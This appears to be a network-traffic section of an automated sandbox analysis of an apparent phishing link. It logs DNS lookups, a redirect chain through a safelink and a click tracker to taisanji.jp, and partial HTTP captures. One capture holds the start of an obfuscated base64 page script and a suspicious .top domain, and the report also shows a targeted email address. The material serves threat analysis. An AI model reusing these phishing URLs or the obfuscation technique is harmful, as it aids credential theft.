Apr 25, 2024 20:37:05.244605064 CEST	192.168.2.7	1.1.1.1	0xea60	Standard query (0)	v-fbhylctn6gvcwonctn6gvc-whibesilg2bmrls9cassie.top	A (IP address)	IN (0x0001)	false
Apr 25, 2024 20:37:05.244995117 CEST	192.168.2.7	1.1.1.1	0x5481	Standard query (0)	v-fbhylctn6gvcwonctn6gvc-whibesilg2bmrls9cassie.top	65	IN (0x0001)	false
Apr 25, 2024 20:37:27.184290886 CEST	192.168.2.7	1.1.1.1	0x5cf4	Standard query (0)	passwordreset.microsoftonline.com	A (IP address)	IN (0x0001)	false
Apr 25, 2024 20:37:27.184535980 CEST	192.168.2.7	1.1.1.1	0xd8fd	Standard query (0)	passwordreset.microsoftonline.com	65	IN (0x0001)	false
Apr 25, 2024 20:37:28.716927052 CEST	192.168.2.7	1.1.1.1	0xdcca	Standard query (0)	ajax.aspnetcdn.com	65	IN (0x0001)	false
Apr 25, 2024 20:37:28.716927052 CEST	192.168.2.7	1.1.1.1	0x1d6f	Standard query (0)	ajax.aspnetcdn.com	A (IP address)	IN (0x0001)	false
Apr 25, 2024 20:37:30.857516050 CEST	192.168.2.7	1.1.1.1	0xbc01	Standard query (0)	passwordreset.microsoftonline.com	A (IP address)	IN (0x0001)	false
Apr 25, 2024 20:37:30.858318090 CEST	192.168.2.7	1.1.1.1	0xbbe6	Standard query (0)	passwordreset.microsoftonline.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Apr 25, 2024 20:36:22.943115950 CEST	1.1.1.1	192.168.2.7	0x5399	No error (0)	j4tpu.bpmsafelink.com	p-bpg-bpmtls-afd-gracajgxg0g8htan.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 25, 2024 20:36:22.943115950 CEST	1.1.1.1	192.168.2.7	0x5399	No error (0)	p-bpg-bpmtls-afd-gracajgxg0g8htan.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 25, 2024 20:36:22.955975056 CEST	1.1.1.1	192.168.2.7	0x3002	No error (0)	j4tpu.bpmsafelink.com	p-bpg-bpmtls-afd-gracajgxg0g8htan.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 25, 2024 20:36:22.955975056 CEST	1.1.1.1	192.168.2.7	0x3002	No error (0)	p-bpg-bpmtls-afd-gracajgxg0g8htan.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 25, 2024 20:36:22.955975056 CEST	1.1.1.1	192.168.2.7	0x3002	No error (0)	shed.dual-low.part-0013.t-0009.t-msedge.net	part-0013.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 25, 2024 20:36:22.955975056 CEST	1.1.1.1	192.168.2.7	0x3002	No error (0)	part-0013.t-0009.t-msedge.net		13.107.246.41	A (IP address)	IN (0x0001)	false
Apr 25, 2024 20:36:22.955975056 CEST	1.1.1.1	192.168.2.7	0x3002	No error (0)	part-0013.t-0009.t-msedge.net		13.107.213.41	A (IP address)	IN (0x0001)	false
Apr 25, 2024 20:36:23.902120113 CEST	1.1.1.1	192.168.2.7	0x62b1	No error (0)	clickme.thryv.com	d1rsqi0l6b7evg.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 25, 2024 20:36:23.902120113 CEST	1.1.1.1	192.168.2.7	0x62b1	No error (0)	d1rsqi0l6b7evg.cloudfront.net		18.164.78.99	A (IP address)	IN (0x0001)	false
Apr 25, 2024 20:36:23.902120113 CEST	1.1.1.1	192.168.2.7	0x62b1	No error (0)	d1rsqi0l6b7evg.cloudfront.net		18.164.78.13	A (IP address)	IN (0x0001)	false
Apr 25, 2024 20:36:23.902120113 CEST	1.1.1.1	192.168.2.7	0x62b1	No error (0)	d1rsqi0l6b7evg.cloudfront.net		18.164.78.31	A (IP address)	IN (0x0001)	false
Apr 25, 2024 20:36:23.902120113 CEST	1.1.1.1	192.168.2.7	0x62b1	No error (0)	d1rsqi0l6b7evg.cloudfront.net		18.164.78.69	A (IP address)	IN (0x0001)	false
Apr 25, 2024 20:36:23.902707100 CEST	1.1.1.1	192.168.2.7	0xb11	No error (0)	clickme.thryv.com	d1rsqi0l6b7evg.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 25, 2024 20:36:23.953917027 CEST	1.1.1.1	192.168.2.7	0xdf	No error (0)	www.google.com			65	IN (0x0001)	false
Apr 25, 2024 20:36:23.955343962 CEST	1.1.1.1	192.168.2.7	0xead6	No error (0)	www.google.com		108.177.122.103	A (IP address)	IN (0x0001)	false
Apr 25, 2024 20:36:23.955343962 CEST	1.1.1.1	192.168.2.7	0xead6	No error (0)	www.google.com		108.177.122.99	A (IP address)	IN (0x0001)	false
Apr 25, 2024 20:36:23.955343962 CEST	1.1.1.1	192.168.2.7	0xead6	No error (0)	www.google.com		108.177.122.147	A (IP address)	IN (0x0001)	false
Apr 25, 2024 20:36:23.955343962 CEST	1.1.1.1	192.168.2.7	0xead6	No error (0)	www.google.com		108.177.122.105	A (IP address)	IN (0x0001)	false
Apr 25, 2024 20:36:23.955343962 CEST	1.1.1.1	192.168.2.7	0xead6	No error (0)	www.google.com		108.177.122.106	A (IP address)	IN (0x0001)	false
Apr 25, 2024 20:36:23.955343962 CEST	1.1.1.1	192.168.2.7	0xead6	No error (0)	www.google.com		108.177.122.104	A (IP address)	IN (0x0001)	false
Apr 25, 2024 20:36:25.060631037 CEST	1.1.1.1	192.168.2.7	0x1f9c	No error (0)	taisanji.jp		120.136.10.95	A (IP address)	IN (0x0001)	false
Apr 25, 2024 20:36:26.630836010 CEST	1.1.1.1	192.168.2.7	0xbe1c	No error (0)	cdnjs.cloudflare.com		104.17.25.14	A (IP address)	IN (0x0001)	false
Apr 25, 2024 20:36:26.630836010 CEST	1.1.1.1	192.168.2.7	0xbe1c	No error (0)	cdnjs.cloudflare.com		104.17.24.14	A (IP address)	IN (0x0001)	false
Apr 25, 2024 20:36:26.632404089 CEST	1.1.1.1	192.168.2.7	0x59b	No error (0)	cdnjs.cloudflare.com			65	IN (0x0001)	false
Apr 25, 2024 20:36:28.755594015 CEST	1.1.1.1	192.168.2.7	0x6d3d	No error (0)	e76abede.df1076c6f7230d3c23de9bcb.workers.dev			65	IN (0x0001)	false
Apr 25, 2024 20:36:28.755945921 CEST	1.1.1.1	192.168.2.7	0x832d	No error (0)	e76abede.df1076c6f7230d3c23de9bcb.workers.dev		172.67.154.14	A (IP address)	IN (0x0001)	false
Apr 25, 2024 20:36:28.755945921 CEST	1.1.1.1	192.168.2.7	0x832d	No error (0)	e76abede.df1076c6f7230d3c23de9bcb.workers.dev		104.21.4.64	A (IP address)	IN (0x0001)	false
Apr 25, 2024 20:36:29.139997959 CEST	1.1.1.1	192.168.2.7	0x95	No error (0)	time.windows.com	twc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 25, 2024 20:36:29.713614941 CEST	1.1.1.1	192.168.2.7	0x59ec	No error (0)	taisanji.jp		120.136.10.95	A (IP address)	IN (0x0001)	false
Apr 25, 2024 20:36:29.881568909 CEST	1.1.1.1	192.168.2.7	0x5dae	No error (0)	challenges.cloudflare.com		104.17.3.184	A (IP address)	IN (0x0001)	false
Apr 25, 2024 20:36:29.881568909 CEST	1.1.1.1	192.168.2.7	0x5dae	No error (0)	challenges.cloudflare.com		104.17.2.184	A (IP address)	IN (0x0001)	false
Apr 25, 2024 20:36:29.881841898 CEST	1.1.1.1	192.168.2.7	0x439c	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Apr 25, 2024 20:36:31.101947069 CEST	1.1.1.1	192.168.2.7	0x2d54	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Apr 25, 2024 20:36:31.103029966 CEST	1.1.1.1	192.168.2.7	0x11b5	No error (0)	challenges.cloudflare.com		104.17.3.184	A (IP address)	IN (0x0001)	false
Apr 25, 2024 20:36:31.103029966 CEST	1.1.1.1	192.168.2.7	0x11b5	No error (0)	challenges.cloudflare.com		104.17.2.184	A (IP address)	IN (0x0001)	false
Apr 25, 2024 20:36:33.244189024 CEST	1.1.1.1	192.168.2.7	0x885	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Apr 25, 2024 20:36:33.244504929 CEST	1.1.1.1	192.168.2.7	0xcdb0	No error (0)	challenges.cloudflare.com		104.17.3.184	A (IP address)	IN (0x0001)	false
Apr 25, 2024 20:36:33.244504929 CEST	1.1.1.1	192.168.2.7	0xcdb0	No error (0)	challenges.cloudflare.com		104.17.2.184	A (IP address)	IN (0x0001)	false
Apr 25, 2024 20:36:33.968910933 CEST	1.1.1.1	192.168.2.7	0x2b17	No error (0)	e76abede.df1076c6f7230d3c23de9bcb.workers.dev			65	IN (0x0001)	false
Apr 25, 2024 20:36:33.975267887 CEST	1.1.1.1	192.168.2.7	0x357d	No error (0)	e76abede.df1076c6f7230d3c23de9bcb.workers.dev		172.67.154.14	A (IP address)	IN (0x0001)	false
Apr 25, 2024 20:36:33.975267887 CEST	1.1.1.1	192.168.2.7	0x357d	No error (0)	e76abede.df1076c6f7230d3c23de9bcb.workers.dev		104.21.4.64	A (IP address)	IN (0x0001)	false
Apr 25, 2024 20:36:38.702316999 CEST	1.1.1.1	192.168.2.7	0x7649	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 25, 2024 20:36:38.702316999 CEST	1.1.1.1	192.168.2.7	0x7649	No error (0)	fp2e7a.wpc.phicdn.net		192.229.211.108	A (IP address)	IN (0x0001)	false
Apr 25, 2024 20:36:54.438088894 CEST	1.1.1.1	192.168.2.7	0x5065	No error (0)	v-fbhylctn6gvcwonctn6gvc-whibesilg2bmrls9cassie.top		138.124.184.68	A (IP address)	IN (0x0001)	false
Apr 25, 2024 20:36:59.305161953 CEST	1.1.1.1	192.168.2.7	0x95cc	No error (0)	shed.dual-low.part-0013.t-0009.t-msedge.net	part-0013.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 25, 2024 20:36:59.305161953 CEST	1.1.1.1	192.168.2.7	0x95cc	No error (0)	part-0013.t-0009.t-msedge.net		13.107.246.41	A (IP address)	IN (0x0001)	false
Apr 25, 2024 20:36:59.305161953 CEST	1.1.1.1	192.168.2.7	0x95cc	No error (0)	part-0013.t-0009.t-msedge.net		13.107.213.41	A (IP address)	IN (0x0001)	false
Apr 25, 2024 20:36:59.307212114 CEST	1.1.1.1	192.168.2.7	0xb31a	No error (0)	aadcdn.msftauth.net	cs1100.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 25, 2024 20:36:59.307212114 CEST	1.1.1.1	192.168.2.7	0xb31a	No error (0)	cs1100.wpc.omegacdn.net		152.199.4.44	A (IP address)	IN (0x0001)	false
Apr 25, 2024 20:36:59.309067011 CEST	1.1.1.1	192.168.2.7	0x5ec3	No error (0)	aadcdn.msftauth.net	cs1100.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 25, 2024 20:37:02.373496056 CEST	1.1.1.1	192.168.2.7	0x453c	No error (0)	outlook.office365.com	ooc-g2.tm-4.office.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 25, 2024 20:37:02.373496056 CEST	1.1.1.1	192.168.2.7	0x453c	No error (0)	ooc-g2.tm-4.office.com	outlook.ms-acdc.office.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 25, 2024 20:37:02.373496056 CEST	1.1.1.1	192.168.2.7	0x453c	No error (0)	outlook.ms-acdc.office.com	LYH-efz.ms-acdc.office.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 25, 2024 20:37:02.373496056 CEST	1.1.1.1	192.168.2.7	0x453c	No error (0)	LYH-efz.ms-acdc.office.com		52.96.122.82	A (IP address)	IN (0x0001)	false
Apr 25, 2024 20:37:02.373496056 CEST	1.1.1.1	192.168.2.7	0x453c	No error (0)	LYH-efz.ms-acdc.office.com		52.96.43.162	A (IP address)	IN (0x0001)	false
Apr 25, 2024 20:37:02.373496056 CEST	1.1.1.1	192.168.2.7	0x453c	No error (0)	LYH-efz.ms-acdc.office.com		52.96.97.130	A (IP address)	IN (0x0001)	false
Apr 25, 2024 20:37:02.373496056 CEST	1.1.1.1	192.168.2.7	0x453c	No error (0)	LYH-efz.ms-acdc.office.com		52.96.165.50	A (IP address)	IN (0x0001)	false
Apr 25, 2024 20:37:02.373598099 CEST	1.1.1.1	192.168.2.7	0xdc2c	No error (0)	outlook.office365.com	ooc-g2.tm-4.office.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 25, 2024 20:37:02.373598099 CEST	1.1.1.1	192.168.2.7	0xdc2c	No error (0)	ooc-g2.tm-4.office.com	outlook.ms-acdc.office.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 25, 2024 20:37:02.373598099 CEST	1.1.1.1	192.168.2.7	0xdc2c	No error (0)	outlook.ms-acdc.office.com	LYH-efz.ms-acdc.office.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 25, 2024 20:37:03.246140003 CEST	1.1.1.1	192.168.2.7	0x287	No error (0)	r4.res.office365.com	r4.res.office365.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 25, 2024 20:37:03.246166945 CEST	1.1.1.1	192.168.2.7	0x220	No error (0)	r4.res.office365.com	r4.res.office365.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 25, 2024 20:37:05.605129004 CEST	1.1.1.1	192.168.2.7	0xea60	No error (0)	v-fbhylctn6gvcwonctn6gvc-whibesilg2bmrls9cassie.top		138.124.184.68	A (IP address)	IN (0x0001)	false
Apr 25, 2024 20:37:15.049915075 CEST	1.1.1.1	192.168.2.7	0xf88e	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Apr 25, 2024 20:37:15.049915075 CEST	1.1.1.1	192.168.2.7	0xf88e	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Apr 25, 2024 20:37:19.046977997 CEST	1.1.1.1	192.168.2.7	0xc54	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Apr 25, 2024 20:37:19.046977997 CEST	1.1.1.1	192.168.2.7	0xc54	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Apr 25, 2024 20:37:27.296397924 CEST	1.1.1.1	192.168.2.7	0x5cf4	No error (0)	passwordreset.microsoftonline.com	passwordreset.mso.msidentity.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 25, 2024 20:37:27.387636900 CEST	1.1.1.1	192.168.2.7	0xd8fd	No error (0)	passwordreset.microsoftonline.com	passwordreset.mso.msidentity.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 25, 2024 20:37:28.827373981 CEST	1.1.1.1	192.168.2.7	0x1d6f	No error (0)	ajax.aspnetcdn.com	mscomajax.vo.msecnd.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 25, 2024 20:37:28.827419043 CEST	1.1.1.1	192.168.2.7	0xdcca	No error (0)	ajax.aspnetcdn.com	mscomajax.vo.msecnd.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 25, 2024 20:37:30.968264103 CEST	1.1.1.1	192.168.2.7	0xbc01	No error (0)	passwordreset.microsoftonline.com	passwordreset.mso.msidentity.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 25, 2024 20:37:31.029973030 CEST	1.1.1.1	192.168.2.7	0xbbe6	No error (0)	passwordreset.microsoftonline.com	passwordreset.mso.msidentity.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 25, 2024 20:37:33.651204109 CEST	1.1.1.1	192.168.2.7	0x567a	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Apr 25, 2024 20:37:33.651204109 CEST	1.1.1.1	192.168.2.7	0x567a	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

j4tpu.bpmsafelink.com

clickme.thryv.com

taisanji.jp

https:

cdnjs.cloudflare.com

e76abede.df1076c6f7230d3c23de9bcb.workers.dev

challenges.cloudflare.com

v-fbhylctn6gvcwonctn6gvc-whibesilg2bmrls9cassie.top

outlook.office365.com

fs.microsoft.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49708	13.107.246.41	443	5428	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 18:36:23 UTC	688	OUT	GET /c/0aR4TTLkLUqplUI-2TrhdA HTTP/1.1 Host: j4tpu.bpmsafelink.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-25 18:36:23 UTC	1057	IN	HTTP/1.1 302 Found Date: Thu, 25 Apr 2024 18:36:23 GMT Content-Length: 0 Connection: close Location: https://clickme.thryv.com/ls/click?upn=u001.Als7cfHaJU2yMdsJgpsIFuyulMlKi-2BOPnlw70aNZVis28POFpvPHosRY2v-2BT8MzRgxGp_OEO3HRIZ3eedLymwLhvJt9sqs3j4T3CqpVCO9A0ZKplqH1W1Ad1lCPdQBrRfbSauZPLLCLTYBsXDRt8yGG5FOZ7NK342oFTufTBA9n-2F9XZPm0ZXtgUZ2XWgAYCIaMBrUgdnTROyf0Afl06YWn6RrR-2BWcL1g7IuW-2FS3i9t-2BF-2B2Y6e8GyMI51dnqu8NufWlrtR9XZO0CKNozdtKi-2BuAQygqD3A68yX5YKYWCNYUOYcNDiU1VCdsE16ZstUbHkSXph84w1YZ4Ob766Kv0C6exL1Q8FobkJkY5CqLYAXETODR-2BNrDAN8XOid2c66vIk9hFtXrd7fh2OKDpf7bj39mWAxlUiJaLw-2FYkVjI5oKXuRFHQA-3D#sheue@7haircare.com& Set-Cookie: ARRAffinity=bda651833679aeadcf39b20b9dff1047b61ddc020630accdf7cac600bad876d5;Path=/;HttpOnly;Secure;Domain=b-trkext.bpmtr.com Set-Cookie: ARRAffinitySameSite=bda651833679aeadcf39b20b9dff1047b61ddc020630accdf7cac600bad876d5;Path=/;HttpOnly;SameSite=None;Secure;Domain=b-trkext.bpmtr.com X-Powered-By: ASP.NET x-azure-ref: 20240425T183623Z-16f56cb894fljwv72mzt8bkz1c000000047g00000000kdca X-Cache: CONFIG_NOCACHE

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49711	18.164.78.99	443	5428	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 18:36:24 UTC	1133	OUT	GET /ls/click?upn=u001.Als7cfHaJU2yMdsJgpsIFuyulMlKi-2BOPnlw70aNZVis28POFpvPHosRY2v-2BT8MzRgxGp_OEO3HRIZ3eedLymwLhvJt9sqs3j4T3CqpVCO9A0ZKplqH1W1Ad1lCPdQBrRfbSauZPLLCLTYBsXDRt8yGG5FOZ7NK342oFTufTBA9n-2F9XZPm0ZXtgUZ2XWgAYCIaMBrUgdnTROyf0Afl06YWn6RrR-2BWcL1g7IuW-2FS3i9t-2BF-2B2Y6e8GyMI51dnqu8NufWlrtR9XZO0CKNozdtKi-2BuAQygqD3A68yX5YKYWCNYUOYcNDiU1VCdsE16ZstUbHkSXph84w1YZ4Ob766Kv0C6exL1Q8FobkJkY5CqLYAXETODR-2BNrDAN8XOid2c66vIk9hFtXrd7fh2OKDpf7bj39mWAxlUiJaLw-2FYkVjI5oKXuRFHQA-3D HTTP/1.1 Host: clickme.thryv.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-25 18:36:24 UTC	428	IN	HTTP/1.1 302 Found Content-Type: text/html; charset=utf-8 Content-Length: 56 Connection: close Server: nginx Date: Thu, 25 Apr 2024 18:36:24 GMT Location: https://taisanji.jp/197006108922/ X-Robots-Tag: noindex, nofollow X-Cache: Miss from cloudfront Via: 1.1 002f46e348ce9568cd7a478ff65daf30.cloudfront.net (CloudFront) X-Amz-Cf-Pop: ATL58-P5 X-Amz-Cf-Id: rumcsOW5RXPmzio4dDCF6VkuJHwWM73pzBvWG6WnokTSYqcucNyeLA==
2024-04-25 18:36:24 UTC	56	IN	Data Raw: 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 74 61 69 73 61 6e 6a 69 2e 6a 70 2f 31 39 37 30 30 36 31 30 38 39 32 32 2f 22 3e 46 6f 75 6e 64 3c 2f 61 3e 2e 0a 0a Data Ascii: <a href="https://taisanji.jp/197006108922/">Found</a>.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	49713	120.136.10.95	443	5428	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 18:36:25 UTC	667	OUT	GET /197006108922/ HTTP/1.1 Host: taisanji.jp Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-25 18:36:26 UTC	355	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 25 Apr 2024 18:36:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Set-Cookie: PHPSESSID=beceeed944e116c0f1ce457b161cfb28; path=/
2024-04-25 18:36:26 UTC	2372	IN	Data Raw: 39 33 38 0d 0a 3c 68 74 6d 6c 3e 0d 0a 20 20 20 20 3c 68 65 61 64 3e 0d 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 38 34 56 68 6d 4c 75 75 7a 66 5a 4e 31 71 6d 42 35 72 76 51 47 57 43 61 63 79 71 35 63 69 58 31 32 6c 59 39 6c 59 56 61 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 3c 2f 68 65 61 64 3e 0d 0a 20 20 20 20 3c 62 6f 64 79 3e 0d 0a 3c 73 63 72 69 70 74 3e 0d 0a 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 28 61 74 6f 62 28 22 50 48 4e 6a 63 6d 6c 77 64 44 34 4b 49 43 41 67 49 43 38 76 49 47 52 70 63 32 46 69 62 47 55 67 63 6d 6c 6e 61 48 51 67 59 32 78 70 59 32 73 4b 49 43 41 67 49 47 52 76 59 33 56 74 5a 57 35 30 4c 6d 46 6b 5a 45 56 32 5a 57 35 30 54 47 6c 7a 64 47 56 75 5a 58 49 6f 4a 32 4e 76 62 6e 52 6c 65 48 52 74 5a 57 35 31 4a 79 77 67 5a Data Ascii: 938<html> <head> <title>84VhmLuuzfZN1qmB5rvQGWCacyq5ciX12lY9lYVa</title> </head> <body><script>document.write(atob("PHNjcmlwdD4KICAgIC8vIGRpc2FibGUgcmlnaHQgY2xpY2sKICAgIGRvY3VtZW50LmFkZEV2ZW50TGlzdGVuZXIoJ2NvbnRleHRtZW51JywgZ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.7	49714	23.201.212.130	443

Timestamp	Bytes transferred	Direction	Data
2024-04-25 18:36:26 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-04-25 18:36:26 UTC	467	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (chd/073D) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-eus-z1 Cache-Control: public, max-age=131225 Date: Thu, 25 Apr 2024 18:36:26 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.7	49715	104.17.25.14	443	5428	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 18:36:26 UTC	577	OUT	GET /ajax/libs/jquery/3.4.1/jquery.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://taisanji.jp sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://taisanji.jp/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-25 18:36:27 UTC	962	IN	HTTP/1.1 200 OK Date: Thu, 25 Apr 2024 18:36:27 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"5eb03ec4-15851" Last-Modified: Mon, 04 May 2020 16:11:48 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 74889 Expires: Tue, 15 Apr 2025 18:36:27 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=EZ23O3a8IwaBrzP3%2BsNzaNhHcnajJ24n%2FoZUqGJ0U5tg4Bach3zE3hALbMaQI6ISpayaqqry2Jq4SK3ryIakMXR7I0FFa%2F5JAvTBZ%2BCHFeldry9%2F5o4BtvKWyaCqHO21ltxbqa9B"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 87a0704d7f2307c2-ATL alt-svc: h3=":443"; ma=86400
2024-04-25 18:36:27 UTC	407	IN	Data Raw: 37 62 65 64 0d 0a 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 34 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a Data Ascii: 7bed/! jQuery v3.4.1 \| (c) JS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("j
